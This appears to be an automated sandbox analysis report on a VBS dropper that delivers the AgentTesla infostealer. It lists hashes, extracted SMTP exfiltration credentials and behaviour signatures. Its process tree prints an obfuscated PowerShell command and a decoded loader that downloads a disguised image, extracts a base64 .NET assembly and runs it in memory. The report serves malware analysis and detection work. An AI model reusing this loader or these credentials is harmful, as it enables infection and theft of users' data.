Analysis
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max time kernel
150s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-es -
resource tags
arch:x64arch:x86image:win10v2004-20230915-eslocale:es-esos:windows10-2004-x64systemwindows -
submitted
19/09/2023, 14:20
Static task
static1
Behavioral task
behavioral1
Sample
nigazxbb.txt.vbs
Resource
win7-20230831-es
Behavioral task
behavioral2
Sample
nigazxbb.txt.vbs
Resource
win10v2004-20230915-es
General
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Target
nigazxbb.txt.vbs
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Size
390KB
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MD5
71888fbd97b2b0394ce9b5340e318565
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SHA1
44ad82ea2641b9ce4ab6675c669b1e779a4924cb
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SHA256
1358e0298872c4731d5aa8aae29cfbb04c4ffa180ff4382896950cb852c9678e
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SHA512
d0fae98789bf3536d25adcf8623e8eb972c09fc01f2cdef4aa533579d53818c49756e81cc3ace970caad4d049553adcc2e8907eb29f91c818b739b45663cf652
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SSDEEP
6144:JLJOnh/H5EEbtEEP8zp57mEtgqZnjPksrVXH5EEEEqbGFkPUmROwoVGn0BRGh02M:JLJOn+AROwoVGn0BRGh02FxPA
Malware Config
Extracted
https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855
https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855
Extracted
agenttesla
Protocol: smtp- Host:
evantelamin.top - Port:
587 - Username:
[email protected] - Password:
X?)AzNk7,R~X - Email To:
[email protected]
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Blocklisted process makes network request 2 IoCs
flow pid Process 5 3664 powershell.exe 39 3664 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000\Control Panel\International\Geo\Nation WScript.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3664 set thread context of 4756 3664 powershell.exe 89 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 1844 powershell.exe 1844 powershell.exe 3664 powershell.exe 3664 powershell.exe 4756 RegAsm.exe 4756 RegAsm.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1844 powershell.exe Token: SeDebugPrivilege 3664 powershell.exe Token: SeDebugPrivilege 4756 RegAsm.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 3880 wrote to memory of 1844 3880 WScript.exe 83 PID 3880 wrote to memory of 1844 3880 WScript.exe 83 PID 1844 wrote to memory of 3664 1844 powershell.exe 86 PID 1844 wrote to memory of 3664 1844 powershell.exe 86 PID 3664 wrote to memory of 4756 3664 powershell.exe 89 PID 3664 wrote to memory of 4756 3664 powershell.exe 89 PID 3664 wrote to memory of 4756 3664 powershell.exe 89 PID 3664 wrote to memory of 4756 3664 powershell.exe 89 PID 3664 wrote to memory of 4756 3664 powershell.exe 89 PID 3664 wrote to memory of 4756 3664 powershell.exe 89 PID 3664 wrote to memory of 4756 3664 powershell.exe 89 PID 3664 wrote to memory of 4756 3664 powershell.exe 89
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\nigazxbb.txt.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3880 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░I░░░░░░9░░░C░░░░░░JwBo░░░HQ░░░d░░░Bw░░░HM░░░Og░░░v░░░C8░░░dQBw░░░Gw░░░bwBh░░░GQ░░░Z░░░Bl░░░Gk░░░bQBh░░░Gc░░░ZQBu░░░HM░░░LgBj░░░G8░░░bQ░░░u░░░GI░░░cg░░░v░░░Gk░░░bQBh░░░Gc░░░ZQBz░░░C8░░░M░░░░░░w░░░DQ░░░Lw░░░1░░░DY░░░Mw░░░v░░░DY░░░Mg░░░x░░░C8░░░bwBy░░░Gk░░░ZwBp░░░G4░░░YQBs░░░C8░░░dQBu░░░Gk░░░dgBl░░░HI░░░cwBv░░░F8░░░dgBi░░░HM░░░LgBq░░░H░░░░░░ZQBn░░░D8░░░MQ░░░2░░░Dk░░░M░░░░░░5░░░DM░░░MQ░░░4░░░DU░░░NQ░░░n░░░Ds░░░J░░░B3░░░GU░░░YgBD░░░Gw░░░aQBl░░░G4░░░d░░░░░░g░░░D0░░░I░░░BO░░░GU░░░dw░░░t░░░E8░░░YgBq░░░GU░░░YwB0░░░C░░░░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBO░░░GU░░░d░░░░░░u░░░Fc░░░ZQBi░░░EM░░░b░░░Bp░░░GU░░░bgB0░░░Ds░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░CQ░░░dwBl░░░GI░░░QwBs░░░Gk░░░ZQBu░░░HQ░░░LgBE░░░G8░░░dwBu░░░Gw░░░bwBh░░░GQ░░░R░░░Bh░░░HQ░░░YQ░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FU░░░cgBs░░░Ck░░░Ow░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBU░░░GU░░░e░░░B0░░░C4░░░RQBu░░░GM░░░bwBk░░░Gk░░░bgBn░░░F0░░░Og░░░6░░░FU░░░V░░░BG░░░Dg░░░LgBH░░░GU░░░d░░░BT░░░HQ░░░cgBp░░░G4░░░Zw░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░EI░░░eQB0░░░GU░░░cw░░░p░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░FM░░░V░░░BB░░░FI░░░V░░░░░░+░░░D4░░░Jw░░░7░░░CQ░░░ZQBu░░░GQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░EU░░░TgBE░░░D4░░░Pg░░░n░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBJ░░░G4░░░Z░░░Bl░░░Hg░░░TwBm░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░p░░░Ds░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░Ek░░░bgBk░░░GU░░░e░░░BP░░░GY░░░K░░░░░░k░░░GU░░░bgBk░░░EY░░░b░░░Bh░░░Gc░░░KQ░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwBl░░░C░░░░░░M░░░░░░g░░░C0░░░YQBu░░░GQ░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwB0░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░Kw░░░9░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░u░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ds░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BM░░░GU░░░bgBn░░░HQ░░░a░░░░░░g░░░D0░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░I░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░Ow░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░FM░░░dQBi░░░HM░░░d░░░By░░░Gk░░░bgBn░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Cw░░░I░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ck░░░Ow░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBD░░░G8░░░bgB2░░░GU░░░cgB0░░░F0░░░Og░░░6░░░EY░░░cgBv░░░G0░░░QgBh░░░HM░░░ZQ░░░2░░░DQ░░░UwB0░░░HI░░░aQBu░░░Gc░░░K░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░KQ░░░7░░░CQ░░░b░░░Bv░░░GE░░░Z░░░Bl░░░GQ░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBS░░░GU░░░ZgBs░░░GU░░░YwB0░░░Gk░░░bwBu░░░C4░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░F0░░░Og░░░6░░░Ew░░░bwBh░░░GQ░░░K░░░░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░Ck░░░Ow░░░k░░░HQ░░░eQBw░░░GU░░░I░░░░░░9░░░C░░░░░░J░░░Bs░░░G8░░░YQBk░░░GU░░░Z░░░BB░░░HM░░░cwBl░░░G0░░░YgBs░░░Hk░░░LgBH░░░GU░░░d░░░BU░░░Hk░░░c░░░Bl░░░Cg░░░JwBG░░░Gk░░░YgBl░░░HI░░░LgBI░░░G8░░░bQBl░░░Cc░░░KQ░░░7░░░CQ░░░bQBl░░░HQ░░░a░░░Bv░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░B0░░░Hk░░░c░░░Bl░░░C4░░░RwBl░░░HQ░░░TQBl░░░HQ░░░a░░░Bv░░░GQ░░░K░░░░░░n░░░FY░░░QQBJ░░░Cc░░░KQ░░░7░░░CQ░░░YQBy░░░Gc░░░dQBt░░░GU░░░bgB0░░░HM░░░I░░░░░░9░░░C░░░░░░L░░░░░░o░░░Cc░░░d░░░B4░░░HQ░░░LgBi░░░Hg░░░YQBn░░░Gk░░░bg░░░v░░░DI░░░NQ░░░u░░░Dg░░░N░░░░░░u░░░D░░░░░░MQ░░░x░░░C4░░░OQ░░░3░░░C8░░░Lw░░░6░░░H░░░░░░d░░░B0░░░Gg░░░Jw░░░p░░░Ds░░░J░░░Bt░░░GU░░░d░░░Bo░░░G8░░░Z░░░░░░u░░░Ek░░░bgB2░░░G8░░░awBl░░░Cg░░░J░░░Bu░░░HU░░░b░░░Bs░░░Cw░░░I░░░░░░k░░░GE░░░cgBn░░░HU░░░bQBl░░░G4░░░d░░░Bz░░░Ck░░░'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('░░░','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1844 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.bxagin/25.84.011.97//:ptth');$method.Invoke($null, $arguments)"3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3664 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4756
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
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Filesize
64B
MD53ca1082427d7b2cd417d7c0b7fd95e4e
SHA1b0482ff5b58ffff4f5242d77330b064190f269d3
SHA25631f15dc6986680b158468bf0b4a1c00982b07b2889f360befd8a466113940d8f
SHA512bbcfd8ea1e815524fda500b187483539be4a8865939f24c6e713f0a3bd90b69b4367c36aa2b09886b2006b685f81f0a77eec23ab58b7e2fb75304b412deb6ca3
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82